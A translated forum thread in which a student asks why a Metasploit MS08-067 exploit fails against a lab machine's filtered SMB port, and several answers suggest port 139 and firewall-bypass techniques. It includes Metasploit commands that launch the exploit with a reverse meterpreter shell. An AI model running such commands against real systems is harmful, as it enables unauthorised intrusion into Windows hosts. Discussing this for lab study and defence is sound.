Explotación a través de un puerto filtrado

Question

Explotación a través de un puerto filtrado

#1 de GdD (9 votos)
#2 de valentinas (2 votos)
#3 de itscooper (2 votos)
#4 de Ricardo Reimao (2 votos)
#5 de atdre (1 votos)

5

Estoy haciendo algunos intentos contra una máquina que el profesor puso en el laboratorio. NMAP muestra que el puerto 445 se filtra y Nessus confirma que la vulnerabilidad ms08_067 está presente en esa máquina.

Intenté ejecutar Metasploit contra él de forma normal:

use exlpoit/windows/smb/ms08_067_netapi
set RHOST TARGET_IP
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST MY_IP
exploit

Me dice:

[-] Fallo en la explotación [inaccesible]: Rex :: ConnectionRefused The la conexión fue rechazada por el host remoto (192.168.2.2:445)

Supongo que la vulnerabilidad está fallando porque el puerto 445 está filtrado. Lo que me desconcierta es que, al parecer, Nessus puede comprobar que la vulnerabilidad está presente. Dado que Nessus puede hacer eso a través del puerto filtrado, ¿hay alguna manera de que pueda iniciar la explotación a través de un puerto filtrado? ¿Hay alguna configuración Metasploit que deba organizarse?

exploit ports metasploit

pregunta Juicy 10.03.2014 - 21:05

fuente

5 respuestas

2

"Filtrado" generalmente significa que no se recibió respuesta desde el puerto (a diferencia de cerrado, que responde con el paquete RST; consulte Port Scanner en wikipedia ). Por lo general, esto indica que el firewall simplemente está eliminando los paquetes que van a ese puerto y es poco probable que sea explotable.

respondido por el valentinas 10.03.2014 - 21:31

fuente

2

tl; dr No, no podrá explotar directamente esta vulnerabilidad a través de un puerto filtrado, y no se puede detectar de esta manera. Debe haber algo más en tu escenario.

¿Por qué ?

Si este puerto vuelve a estar filtrado, entonces un firewall o IPS está eliminando paquetes, lo que significa que no recibirá ninguna respuesta del servidor. Esta falla (MS08-067) solo puede ser detectada por Nessus si el explorador de vulnerabilidades puede establecer una conexión SMB a este puerto. Nessus no intentará automáticamente eludir el firewall de ninguna manera, pero podría estar haciendo un tipo diferente de escaneo de puertos que podría tener diferentes resultados.

Posibles motivos de los resultados que está viendo:

Nessus podría estar detectando la vulnerabilidad en un puerto diferente, probablemente NetBIOS sobre TCP (NBT) en TCP / 139. Compruebe el informe de Nessus cuidadosamente. En este caso, necesitaría set RPORT 139 y también set SMBDirect false . La última es una opción avanzada ( show advanced ).
Se está ejecutando algún tipo de prevención de intrusiones entre usted y el host de destino (o en el host de destino), lo que conduce a resultados de escaneo de puertos inconsistentes. Intente ejecutar NMAP en varias configuraciones ( -sS , -sT , -p445,139 , etc.) para ver si los resultados son consistentes. Esto no explica realmente por qué Nessus podría detectarlo, pero no puede ser explotado por Metasploit. También parece poco probable en un entorno de laboratorio, a menos que el laboratorio haya sido configurado específicamente para la evasión de IPS.

respondido por el itscooper 10.03.2014 - 22:58

fuente

2

Incluso si el puerto 445 (SMB) está cerrado, es posible que algunas veces pueda aprovechar esta vulnerabilidad a través del puerto 139 (NetBios). En metasploit, solo use la siguiente sintaxis:

set RPORT 139; set SMBDirect false; exploit

respondido por el Ricardo Reimao 09.01.2017 - 15:27

fuente

1

Es posible que pueda utilizar la técnica BNAT-Suite (también incluida en Metasploit) o la técnica Nmap NSE Firewallbypass para atravesar el firewall o el mecanismo de filtrado de IP.

respondido por el atdre 09.01.2015 - 15:59

fuente

Lea otras preguntas en las etiquetas exploit ports metasploit

¿Cuáles son las ventajas de la autenticación multinivel? Riesgo XSS para una aplicación a la que solo se puede acceder desde localhost

score 9 · Accepted Answer

Tiene información contradictoria: nmap dice que el puerto está filtrado, pero nessus dice que la vulnerabilidad está presente en el sistema. Ambos no pueden ser verdad, uno de estos debe estar equivocado. Dado que metasploit no puede conectarse, es probable que nessus esté informando incorrectamente o que esté basando el informe de vulnerabilidad en la información obtenida de otros puertos abiertos. Si observa la página de Tenable en ese aviso verá que nessus puede probarlo utilizando el puerto 139 o el puerto 445, por lo que 139 probablemente esté abierto y podría explotarse.